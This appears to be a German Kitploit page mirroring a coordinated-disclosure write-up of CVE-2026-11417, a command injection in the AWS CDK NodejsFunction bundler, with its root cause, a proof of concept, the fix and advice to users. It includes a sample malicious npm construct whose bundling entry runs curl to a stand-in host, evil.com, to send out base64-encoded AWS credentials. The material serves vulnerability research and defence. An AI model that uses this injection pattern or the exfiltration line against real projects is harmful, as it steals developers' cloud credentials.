Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-11417-AWS-CDK-RCE — Technischer Write-up und Proof of Concept (PoC) für CVE-2026-11417: OS-Kommandoinjektion / Remote Code Execution (RCE) in der NodejsFunction von AWS CDK. | Kitploit
Tools/GitHubGitHub/heshamash/cve-2026-11417-aws-cdk-rce
SchwachstellenanalyseCode-AnalyseExploitationPenetrationstestsCloud-SicherheitLieferkettensicherheitPapers & ForschungLernen & Bildung
GitHub
heshamash/cve-2026-11417-aws-cdk-rce

CVE-2026-11417-AWS-CDK-RCE

Technischer Write-up und Proof of Concept (PoC) für CVE-2026-11417: OS-Kommandoinjektion / Remote Code Execution (RCE) in der NodejsFunction von AWS CDK.

Repository anzeigen
3vor 2 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Supply-Chain-Befehlsinjektion in der NodejsFunction von AWS CDK (CVE-2026-11417)

Autor: Hesham Ashraf (@HeshamASH)

Datum: 10. Juni 2026

Schweregrad: Hoch (CVSSv3.1: 7.3, CVSSv4: 7.0)

CWE: CWE-78 — Unsachgemäße Neutralisierung von Sonderzeichen in einem OS-Befehl (OS-Befehlsinjektion)

Betroffenes Paket: aws-cdk-lib (npm), alle Versionen vor 2.245.0

Anbieter: Amazon Web Services (AWS)

Status: Behoben (PR #37292, PR #37412) | CVE: CVE-2026-11417 | Sicherheitsbulletin: AWS-2026-041 | Sicherheitshinweis: GHSA-999r-qq7v-r334


TL;DR

Ich habe eine Befehlsinjektions-Schwachstelle im AWS Cloud Development Kit (CDK) entdeckt, die es einem Angreifer ermöglichte, Remote Code Execution (RCE) auf jedem Rechner zu erreichen, auf dem ausgeführt wird — einschließlich Entwickler-Workstations und CI/CD-Pipelines —, indem er ein bösartiges npm-Paket veröffentlichte oder einen manipulierten Pull Request einreichte.

cdk synth

Die Schwachstelle bestand darin, dass das NodejsFunction-Konstrukt von aws-cdk-lib benutzergesteuerte Zeichenfolgen ohne Bereinigung direkt in einen Shell-Befehl interpolierte und diesen dann über bash -c / cmd /c ausführte. AWS hat das Problem behoben, indem die shellbasierte Ausführung durch direkte spawnSync-Argumentarrays ersetzt wurde.


Hintergrund

Das AWS Cloud Development Kit (CDK) ist ein weit verbreitetes Open-Source-Framework zur Definition von Cloud-Infrastruktur als Code. Es wird von Zehntausenden von Entwicklern und CI/CD-Pipelines verwendet, um AWS-CloudFormation-Stacks zu synthetisieren und bereitzustellen.

Das NodejsFunction -Konstrukt ist eines der beliebtesten CDK-L2-Konstrukte. Es bündelt TypeScript-/JavaScript-Lambda-Funktionen mit esbuild während der Synthesephase (cdk synth).


Die Schwachstelle

Grundursache

Der lokale Bündelungspfad des NodejsFunction-Konstrukts erstellte eine Shell-Befehlszeichenfolge, indem er mehrere benutzergesteuerte Eigenschaften ohne jegliche Bereinigung direkt interpolierte:

root@kitploit:~
// packages/aws-cdk-lib/aws-lambda-nodejs/lib/bundling.ts (pre-patch)
const esbuildCommand: string[] = [
  options.esbuildRunner,
  '--bundle', `"${relativeEntryPath}"`,
  `--target=${this.props.target ?? toTarget(scope, this.props.runtime)}`,
  '--platform=node',
  ...this.externals.map(external => `--external:${external}`),           // NO ESCAPING
  ...loaders.map(([ext, name]) => `--loader:${ext}=${name}`),            // NO ESCAPING
  ...defines.map(([key, value]) => `--define:${key}=${JSON.stringify(value)}`), // key NOT ESCAPED
  ...this.props.inject ? this.props.inject.map(i => `--inject:"${i}"`) : [],   // NO ESCAPING
  ...this.props.esbuildArgs ? [toCliArgs(this.props.esbuildArgs)] : [],         // NO ESCAPING
];

Das Array wurde dann zu einer einzigen Zeichenfolge zusammengefügt und an eine Shell übergeben:

root@kitploit:~
// The joined command is passed directly to the OS shell
exec(
  osPlatform === 'win32' ? 'cmd' : 'bash',
  [osPlatform === 'win32' ? '/c' : '-c', localCommand],
  { /* ... */ }
);

Shell-Metazeichen wie &, ;, |, `, und $(...) innerhalb einer der injizierbaren Eigenschaften würden von der Shell als Befehlsseparatoren interpretiert, was die Ausführung beliebiger Befehle ermöglicht.

Betroffene Eigenschaften

EigenschaftBereinigungRisikostufe
externalModulesKeineKritisch
define (Schlüssel)Keine (Werte verwenden JSON.stringify)Kritisch
loader (Schlüssel)KeineKritisch
injectKeineKritisch
esbuildArgs (Schlüssel/Werte)KeineKritisch

Angriffsszenario über die Lieferkette

Diese Schwachstelle ist besonders gefährlich, weil die Injektion in der CDK-Syntheseebene erfolgt, nicht während npm install. Das bedeutet, dass Standard-npm-Sicherheitsmaßnahmen wie --ignore-scripts keinen Schutz bieten.

Angriffsvektor: Bösartiges CDK-Konstrukt

Ein Angreifer veröffentlicht ein legitim aussehendes npm-Paket, das NodejsFunction umschließt:

root@kitploit:~
// Published as "convenient-lambda" on npm
import { NodejsFunction } from 'aws-cdk-lib/aws-lambda-nodejs';

export class ConvenientLambda extends NodejsFunction {
  constructor(scope, id, props) {
    super(scope, id, {
      ...props,
      bundling: {
        ...props.bundling,
        externalModules: [
          ...(props.bundling?.externalModules ?? []),
          // Hidden payload among legitimate-looking externals
          'lodash & curl https://evil.com/exfil?d=$(cat ~/.aws/credentials | base64)',
        ],
      },
    });
  }
}

Wenn ein Entwickler dieses Paket installiert und cdk synth ausführt, erstellt das CDK:

root@kitploit:~
npx esbuild --bundle handler.ts --external:lodash & curl https://evil.com/exfil?d=$(cat ~/.aws/credentials | base64)

Das Zeichen & teilt dies in zwei unabhängige Shell-Befehle auf:

  1. npx esbuild --bundle handler.ts --external:lodash — esbuild läuft normal
  2. curl https://evil.com/... — die Payload des Angreifers exfiltriert AWS-Anmeldeinformationen

Warum dies Standardverteidigungen umgeht

VerteidigungWirksam?Warum
npm install --ignore-scriptsNeinDie Injektion erfolgt während cdk synth, nicht bei der Paketinstallation
Code-Review von package.jsonNeinDie Payload befindet sich im TypeScript-Konstruktcode, nicht in Skripten
npm auditNeinDas Paket enthält keine bekannten Schwachstellen
Integrität der LockfileNeinDas Paket selbst wird korrekt installiert

Proof of Concept

Schritt 1: Ein CDK-Projekt erstellen

root@kitploit:~
mkdir poc && cd poc
npm init -y
npm install aws-cdk-lib constructs esbuild typescript
mkdir lambda
echo 'export const handler = async () => ({ statusCode: 200 });' > lambda/handler.ts

Schritt 2: app.ts mit Injektions-Payload erstellen

root@kitploit:~
import * as cdk from 'aws-cdk-lib';
import { Stack } from 'aws-cdk-lib';
import { NodejsFunction } from 'aws-cdk-lib/aws-lambda-nodejs';
import { Runtime } from 'aws-cdk-lib/aws-lambda';
import * as path from 'path';

class PoCStack extends Stack {
  constructor(scope, id) {
    super(scope, id);
    new NodejsFunction(this, 'Fn', {
      entry: path.join(__dirname, 'lambda', 'handler.ts'),
      runtime: Runtime.NODEJS_20_X,
      bundling: {
        externalModules: ['foo & echo PWNED > pwned.txt'],
      },
    });
  }
}

const app = new cdk.App();
new PoCStack(app, 'PoCStack');
app.synth();

Schritt 3: Auslösen

root@kitploit:~
npx ts-node app.ts

Schritt 4: RCE verifizieren

root@kitploit:~
cat pwned.txt
# Output: PWNED

Die Datei pwned.txt wird erstellt, was die Ausführung beliebiger Befehle auf dem Host bestätigt.


Die Behebung

PR #37292: Arraybasierte spawnSync

Die zentrale Korrektur ersetzt die Erstellung von Shell-Befehlszeichenfolgen durch direktes spawnSync unter Verwendung von Argumentarrays:

root@kitploit:~
- // Before: shell-interpreted command string
- exec('bash', ['-c', esbuildCommand.join(' ')]);

+ // After: direct argument array (no shell interpretation)
+ spawnSync(command, args, { /* no shell */ });

Dies eliminiert die Interpretation von Shell-Metazeichen vollständig. Das neue Typsystem BundlingStep trennt sauber:

  • spawn-Schritte: esbuild/tsc/install — werden über direktes spawnSync mit Argumentarrays ausgeführt
  • shell-Schritte: vom Benutzer bereitgestellte commandHooks — absichtlich per Shell ausgeführt (der Benutzer kontrolliert diese vertraglich)
  • fs-Schritte: Dateioperationen — keine Beteiligung der Shell

PR #37412: Windows-PowerShell-Escaping

Unter Windows mit Node 22+ schlägt direktes spawnSync von .cmd-Shims mit EINVAL fehl. Dieser PR leitet spawn-Schritte über powershell.exe mit powershellEscape() — einer Funktion, die jedes Argument mithilfe des nativen Escapings von PowerShell strikt in einfache Anführungszeichen setzt (interne einfache Anführungszeichen werden verdoppelt) und dann den Aufrufoperator & voranstellt.


Erkenntnisse

  1. Shell-Ausführung ist ein Code-Smell. Jeder Codepfad, der eine Zeichenfolge erstellt und an bash -c oder cmd /c übergibt, ist eine potenzielle Befehlsinjektions-Schwachstelle. Bevorzugen Sie immer arraybasiertes spawnSync oder execFile.

  2. Supply-Chain-Angriffe umgehen Installationszeit-Verteidigungen. npm audit und --ignore-scripts schützen vor bösartigen postinstall-Skripten, aber sie können nicht vor Schwachstellen in den Tools schützen, die Abhängigkeiten zur Build-Zeit verarbeiten.

  3. CDK-Konstrukte sind vertrauenswürdiger Code. Wenn ein Entwickler ein Drittanbieter-CDK-Konstrukt importiert, vertraut er implizit darauf, dass es seine Infrastruktur korrekt konfiguriert. Ein bösartiges Konstrukt kann dieses Vertrauen ausnutzen, um Payloads in Bündelungseigenschaften einzuschleusen, die wie gewöhnliche Konfiguration aussehen.


Empfehlungen für CDK-Benutzer

  1. Sofort aktualisieren auf aws-cdk-lib Version 2.245.0 oder höher

  2. Drittanbieter-CDK-Konstrukte prüfen auf ungewöhnliche Werte der bundling-Eigenschaft

  3. CDK-Konstruktversionen in Ihrer package-lock.json festschreiben

  4. PRs, die die bundling-Konfiguration ändern, mit besonderer Sorgfalt prüfen

  5. Die Schwachstelle reproduzieren mithilfe der Dateien im Ordner poc/.


Entdeckt und gemeldet von Hesham Ashraf (@HeshamASH). Koordinierte Offenlegung durchgeführt über das AWS-VDP-Programm.

Tool herunterladen